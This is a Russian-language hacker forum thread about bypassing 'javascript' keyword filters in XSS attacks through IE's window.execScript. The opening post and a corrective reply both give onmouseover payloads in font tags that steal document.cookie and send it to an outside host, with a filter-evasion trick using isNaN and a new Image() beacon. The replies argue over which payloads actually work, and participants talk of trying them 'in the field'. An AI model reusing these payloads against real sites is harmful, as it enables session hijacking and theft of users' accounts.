![]() |
Проводим XSS без javascript
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий". Рассмотрим на простом примере: Классический случай: Код:
<font color=red onmouseover=javascript:alert()>алерт работает!</font>Код:
<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов). Попробуйте: Код:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>Код:
<font color=red onmouseover=window.execScript(alert());window.execScript(alert())>Два алерта!</font>А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=) Смотрим: Код:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>P.S.Возможно это уже где-то описывалось, не встречал. P.S.S.За всеми вопросами пишем сюда... |
|
гыг.. ша испытаем в полевых условиях...
-------------------------------------- не уверен, но кажися я подоное где-то уже видел :D |
А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font> Можно просто <font color=red onmouseover=alert()>алерт работает!</font> потому что события и так обрабтываются javascript`oм. |
Автор спасибо тебе большое! Я давно так не смеялся!
Во-первых код который ты дал для воровки кук работать не будет, будет только алерт твоего скрипта воровки кук лол. Дальше, научись писать ок? тогда все у тебя будет работать. Алерт во всех браузерах. Код HTML:
<font color=red onmouseover=window.execScript("a=1;alert(a)")>И тут работает!</font>Код HTML:
<font color=red onmouseover=window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>Получилось!</font>Код HTML:
<font color=red onmouseover=a=1;alert(a)>И тут работает!</font>Код HTML:
<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>Получилось!</font>Или ты просто написал для выкрутасывания? Ну можно тогда повыкрутасыватся и вот так воть, Код HTML:
<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;eval(img);>Получилось!</font>Во-общем пиши побольше статей, в разделе юмор качественных таких вот статейяк которые являются статейками продолжениями статей Алгола - мало. |
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся... |
Цитата:
|
Цитата:
Код HTML:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie));window.execScript(alert(q))>Получилось!</font>И не болие. Цитата:
Тут Я упал. Цитата:
Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой. Цитата:
Да не он не любит, а ты не правильно пишешь. Код HTML:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>И почему это должно работать? О_О Мда, короче мда, дальше цитировать думаю не стоит. |
Цитата:
Цитата:
Цитата:
Цитата:
To Victor:если хочется похамится пиши в пм, не засоряем... |
Цитата:
Цитата:
У тебя алерт есть, но кук воровки быть не может в твоем коде. Цитата:
Цитата:
Цитата:
Цитата:
Короче не смеши гусей, Я написал тебе готовые коды как правильно писать надо, что ты сейчас хочешь выяснить Я не понимаю..... Статья = бред. Код воровки кук у тебя не работает и не может работать. Цитата:
|
| Время: 15:04 |